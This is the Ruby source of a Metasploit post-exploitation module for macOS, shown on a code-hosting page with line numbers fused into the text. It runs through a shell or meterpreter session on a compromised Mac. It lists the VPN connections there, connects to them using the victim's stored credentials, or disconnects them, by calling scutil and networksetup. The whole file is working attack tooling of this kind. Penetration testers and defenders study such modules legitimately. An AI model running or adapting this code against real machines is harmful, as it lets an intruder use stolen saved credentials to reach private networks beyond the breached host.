Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/osx/manage/vpn.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File78STR_CONNECTED = '* (Connected)'9STR_DISCONNECTED = '* (Disconnected)'1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'OSX VPN Manager',16'Description' => %q{17This module lists VPN connections and tries to connect to them using stored credentials.18},19'License' => MSF_LICENSE,20'Author' => [21'Peter Toth <globetother[at]gmail.com>'22],23'Platform' => [ 'osx' ],24'SessionTypes' => [ 'shell', 'meterpreter' ],25'Actions' => [26[ 'LIST', { 'Description' => 'Show a list of VPN connections' } ],27[ 'CONNECT', { 'Description' => 'Connect to a VPN using stored credentials' } ],28[ 'DISCONNECT', { 'Description' => 'Disconnect from a VPN' } ]29],30'DefaultAction' => 'LIST'31)32)3334register_options(35[36OptString.new('VPN_CONNECTION', [true, 'Name of VPN connection. `set ACTION LIST` to get a list.', 'OSX_VPN']),37OptString.new('SCUTIL_PATH', [true, 'Path to the scutil executable.', '/usr/sbin/scutil']),38OptString.new('NETWORKSETUP_PATH', [true, 'Path to the networksetup executable.', '/usr/sbin/networksetup'])39]40)41end4243def run44fail_with(Failure::BadConfig, 'Invalid action') if action.nil?4546scutil_path = datastore['SCUTIL_PATH'].shellescape47networksetup_path = datastore['NETWORKSETUP_PATH'].shellescape48vpn_name = datastore['VPN_CONNECTION']4950if !file?(scutil_path)51print_error('Aborting, scutil binary not found.')52return53end5455if !file?(networksetup_path)56print_error('Aborting, networksetup binary not found.')57return58end5960# Fetch the list of configured VPN connections61cmd_list = "#{scutil_path} --nc list"62vprint_status(cmd_list)63vpn_data = cmd_exec(cmd_list)64connected_names = parse_vpn_connection_names(vpn_data, :connected)65disconnected_names = parse_vpn_connection_names(vpn_data, :disconnected)6667if action.name == 'LIST'68if !connected_names.empty?69print_status('VPN Connections Status: UP')70connected_names.each do |vpn_name|71print_good(' ' + vpn_name)72end73end74if !disconnected_names.empty?75print_status('VPN Connections Status: DOWN')76disconnected_names.each do |vpn_name|77print_good(' ' + vpn_name)78end79end80elsif action.name == 'CONNECT'81if connected_names.include?(vpn_name)82print_status("#{vpn_name} already connected")83return84end8586unless disconnected_names.include?(vpn_name)87print_error("#{vpn_name} not found")88return89end9091cmd_up = "#{networksetup_path} -connectpppoeservice '#{vpn_name}'"92vprint_status(cmd_up)93cmd_exec(cmd_up)94elsif action.name == 'DISCONNECT'95if disconnected_names.include?(vpn_name)96print_status("#{vpn_name} already disconnected")97return98end99100unless connected_names.include?(vpn_name)101print_error("#{vpn_name} not found")102return103end104105identifier = parse_vpn_connection_identifier(vpn_data, vpn_name)106unless identifier107print_error("Could not parse #{vpn_name} identifier")108return109end110cmd_down = "#{scutil_path} --nc stop #{identifier}"111vprint_status(cmd_down)112cmd_exec(cmd_down)113end114end115116def parse_vpn_connection_names(data, type = :connected)117lines = data.lines118connection_names = []119comp_str = type == :connected ? STR_CONNECTED : STR_DISCONNECTED120121lines.each do |line|122if line.start_with?(comp_str) && line =~ /"(.*)"/123connection_names << ::Regexp.last_match(1)124end125end126return connection_names127end128129def parse_vpn_connection_identifier(data, vpn_name)130lines = data.lines131lines.each do |line|132line.strip!133next if line.empty?134135if line.include?(vpn_name) && line =~ /([0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12})/136identifier = ::Regexp.last_match(1)137return identifier138end139end140return nil141end142end143144145